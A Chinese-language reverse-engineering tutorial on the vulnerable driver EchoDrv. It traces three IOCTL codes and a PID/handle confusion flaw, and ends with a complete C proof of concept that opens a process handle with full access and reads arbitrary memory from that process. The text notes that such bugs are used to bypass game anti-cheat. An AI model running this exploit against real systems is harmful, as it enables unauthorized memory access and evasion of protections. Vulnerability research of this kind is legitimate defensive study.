涉及到的核心函数
MmCopyVirtualMemory:是 Windows 内核模式下的一个核心函数,主要用于在不同进程的虚拟地址空间之间,或在进程与内核空间之间安全地复制内存数据。他并非公开文档化的官方 API,但被 Windows 内核内部广泛使用,是实现进程内存读写功能的基础。
cpp
NTSTATUS MmCopyVirtualMemory(
IN PEPROCESS SourceProcess, // 源进程的 EPROCESS 指针
IN PVOID SourceAddress, // 源进程中的虚拟地址
IN PEPROCESS TargetProcess, // 目标进程的 EPROCESS 指针
OUT PVOID TargetAddress, // 目标进程中的虚拟地址
IN SIZE_T BufferSize, // 要复制的字节数
IN KPROCESSOR_MODE PreviousMode, // 调用者模式(通常为 KernelMode)(也可为 UserMode)
OUT PSIZE_T ReturnSize // 实际复制的字节数(可选)
);
导入 IDA,找到 MmCopyVirtualMemory 函数,如下图所示

接着交叉引用看谁调用了 MmCopyVirtualMemory 这个函数,如下图所示 sub_140001B80 调用了 MmCopyVirtualMemory 函数

接着交叉引用可以看到 sub_140001830 调用了 sub_140001B80 函数


在 sub_140001B80 函数中可以获取到 IOCTL 控制码,如下图所示可知要进入 sub_140001B80 需要满足 IOCTL 控制码为 0x60A26124。sub_140001B80 也就是任意读漏洞函数。

当然在进入 switch 前要先满足 dword_14000410C 的值不为 0

dword_14000410C 是一个全局变量,交叉引用看看该全局变量的值怎么获取,如下图所示可以看到 dword_14000410C 存储的是进程 ID。

并且可以看到获取进程 PID 的操作是在 sub_1400012BC 函数中的

要进入 sub_1400012BC 函数需要满足 IOCTL 控制码为 0x9E6A0594

0xE6224248 分支
接着先分析一下 0xE6224248 分支

PsLookupProcessByProcessId 是 Windows 内核模式下的一个核心函数,用于根据指定的进程标识符(PID)查找并返回对应进程的 EPROCESS 结构体指针。
cpp
NTSTATUS PsLookupProcessByProcessId(
[in] HANDLE ProcessId,
[out] PEPROCESS *Process
);
ObOpenObjectByPointer 是 Windows 内核模式下的一个核心函数,用于通过对象的指针直接打开该对象并返回一个句柄。
cpp
NTSTATUS ObOpenObjectByPointer(
[in] PVOID Object,
[in] ULONG HandleAttributes,
[in, optional] PACCESS_STATE PassedAccessState,
[in] ACCESS_MASK DesiredAccess,
[in, optional] POBJECT_TYPE ObjectType,
[in] KPROCESSOR_MODE AccessMode,
[out] PHANDLE Handle
);
如下图所示,0xE6224248 分支的作用是:接收一个进程 ID(用户态传递) -> 通过 PsLookupProcessByProcessId 找到进程对象 -> 通过 ObOpenObjectByPointer 打开进程句柄 -> 将句柄存入 IRP 的 MdlAddress 字段返回。
AssociatedIrp.MasterIrp->MdlAddress

所以 0xE6224248 分支的作用是传入目标进程 ID 然后获取目标进程的句柄。这样在构造数据缓冲区的话就需要传递 2 个成员进去,一个是 PID,一个是访问权限
cpp
v7->Type :PID
v7->Size + 1 :访问权限
cpp
typedef struct {
DWORD Type; // PID
ACCESS_MASK access; // 访问权限
HANDLE handle; // 存储返回的句柄
}HandlerStruct;
0x60A26124 分支
cpp
ObReferenceObjectByHandle(
*(HANDLE *)&v8->Type, // Handle:从IRP的Type字段读取的句柄值
0, // DesiredAccess:0(无特定权限)
(POBJECT_TYPE)PsProcessType, // ObjectType:进程对象类型
0, // AccessMode:KernelMode(内核模式)
(PVOID *)&Process, // Object:输出的进程对象指针
0LL // HandleInformation:无
)
这里的 &v8->Type 表示的是一个句柄
这里可能会有疑问,Type 存储的到底是 PID 还是句柄。其实都可以。在 0xE6224248 分支的 PsLookupProcessByProcessId 中 Type 作为一个 PID ;在 0x60A26124 分支的 ObReferenceObjectByHandle 中 Type 作为一个句柄。
原因 :Windows 内核中,HANDLE 本质是一个无符号整数(32 位系统是 DWORD,64 位系统是 ULONG64),而 PID 也是无符号整数,因此驱动可以不做类型校验,直接将同一个内存字段 Type 在不同分支下解析为不同含义,这也是该驱动的重要漏洞点。攻击者可以任意构造 Type 字段的值,在不同分支间传递数据,比如把 0xE6224248 分支返回的句柄直接填写到 Type 字段,触发 0x60A26124 分支。

要调用 MmCopyVirtualMemory,必须传 4 个核心参数,如上图所示 IDA 在反编译的时候并没有显示指出参数但是不代表不需要。
| 参数 | 对应的 IRP 字段 | 含义 |
|---|---|---|
| SourceProcess | AssociatedIrp.MasterIrp->Type | 目标进程对象 |
| SourceAddress | AssociatedIrp.MasterIrp->MdlAddress | 要读取的内存地址 |
| TargetAddress | AssociatedIrp.MasterIrp->AssociatedIrp.MasterIrp | 接收数据的缓冲区地址 |
| BufferSize | AssociatedIrp.MasterIrp->ThreadListEntry.Flink | 要读取的长度 |
cpp
typedef struct {
HANDLE sourceProcess; // 目标进程对象
void* sourceAddress; // 要读取的内存地址
void* getInfoBuffer; // 接收数据的缓冲区地址
size_t length; // 要读取的长度
}ReadAddress;
流程总结
1、获取到符号链接:\\.\EchoDrv
2、令控制码为 0x9E6A0594,为 dword_14000410C (PID) 变量赋值,使其能够满足 if 条件执行 switch 语句
3、令控制码为 0xE6224248,获取到目标进程句柄
4、令控制码为 0x60A26124,实现最终的指定内存读取
这类漏洞常被用来绕过游戏反作弊系统实现 内存 读取操作。
代码编写
cpp
DeviceIoControl 参数解释
- hDevice Long, 设备句柄
- dwIoControlCode Long, 应用程序调用驱动程序的控制命令,就是IOCTL_XXX IOCTLs。
- lpInBuffer Any, 应用程序传递给驱动程序的数据缓冲区地址。
- nInBufferSize Long, 应用程序传递给驱动程序的数据缓冲区大小,字节数。
- lpOutBuffer Any, 驱动程序返回给应用程序的数据缓冲区地址。
- nOutBufferSize Long, 驱动程序返回给应用程序的数据缓冲区大小,字节数。
- lpBytesReturned Long, 驱动程序实际返回给应用程序的数据字节数地址。
- lpOverlapped OVERLAPPED, 这个结构用于重叠操作。针对同步操作,请用ByVal As Long传递零值
安装并启动驱动服务

cpp
#include <stdio.h>
#include <Windows.h>
#include <stdint.h>
typedef struct {
DWORD Type; // PID
ACCESS_MASK access; // 访问权限
HANDLE handle; // 存储返回的句柄
}HandlerStruct;
typedef struct {
HANDLE sourceProcess; // 目标进程对象
void* sourceAddress; // 要读取的内存地址
void* getInfoBuffer; // 接收数据的缓冲区地址
size_t length; // 要读取的长度
}ReadAddress;
int main() {
// 设置控制台输出编码
SetConsoleOutputCP(CP_UTF8);
// 以读写方式打开驱动程序
HANDLE hDevice = CreateFileA("\\\\.\\EchoDrv", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("驱动打开失败\n");
return -1;
}
// 让驱动填充 PID
void* buffer = (void*)malloc(4096);
BOOL successOne = DeviceIoControl(hDevice, 0x9E6A0594, NULL, NULL, buffer, 4096, NULL, NULL);
if (!successOne) {
printf("Error IOCTL: 0x9E6A0594\n");
return -1;
}
free(buffer);
// 获取进程句柄
HandlerStruct handlerStruct = { 0 };
handlerStruct.Type = 5152; // 目标进程 PID
handlerStruct.access = GENERIC_ALL; // 设置访问权限
BOOL successTwo = DeviceIoControl(hDevice, 0xE6224248, &handlerStruct, sizeof(handlerStruct), &handlerStruct, sizeof(handlerStruct), NULL, NULL);
if (!successTwo) {
printf("Error IOCTL: 0xE6224248\n");
return -1;
}
printf("Process Handle: %d\n", handlerStruct.handle); // 返回进程的句柄
// 读取目标进程内存
uint64_t returnBuffer = 0;
ReadAddress outputAddress = { 0 };
ReadAddress readAddress = { 0 };
readAddress.sourceProcess = handlerStruct.handle; // 目标进程句柄
readAddress.sourceAddress = (void*)0x7FF7594C1008; // 目标进程的内存地址
readAddress.length = 8; // 读 8 个字节
readAddress.getInfoBuffer = &returnBuffer; // 存放结果的缓冲区地址
BOOL successThree = DeviceIoControl(hDevice, 0x60A26124, &readAddress, sizeof(readAddress), &outputAddress, sizeof(readAddress), NULL, NULL);
if (!successThree) {
printf("Error IOCTL: 0x60A26124\n");
return -1;
}
printf("从地址 0x%p 读取的值:0x%01611x\n", readAddress.sourceAddress, returnBuffer);
system("pause");
return 0;
}

只要你传的 IOCTL 码正确,驱动就会按固定偏移解析 IRP 缓冲区,不管你用什么结构体,只要字段对齐就能成功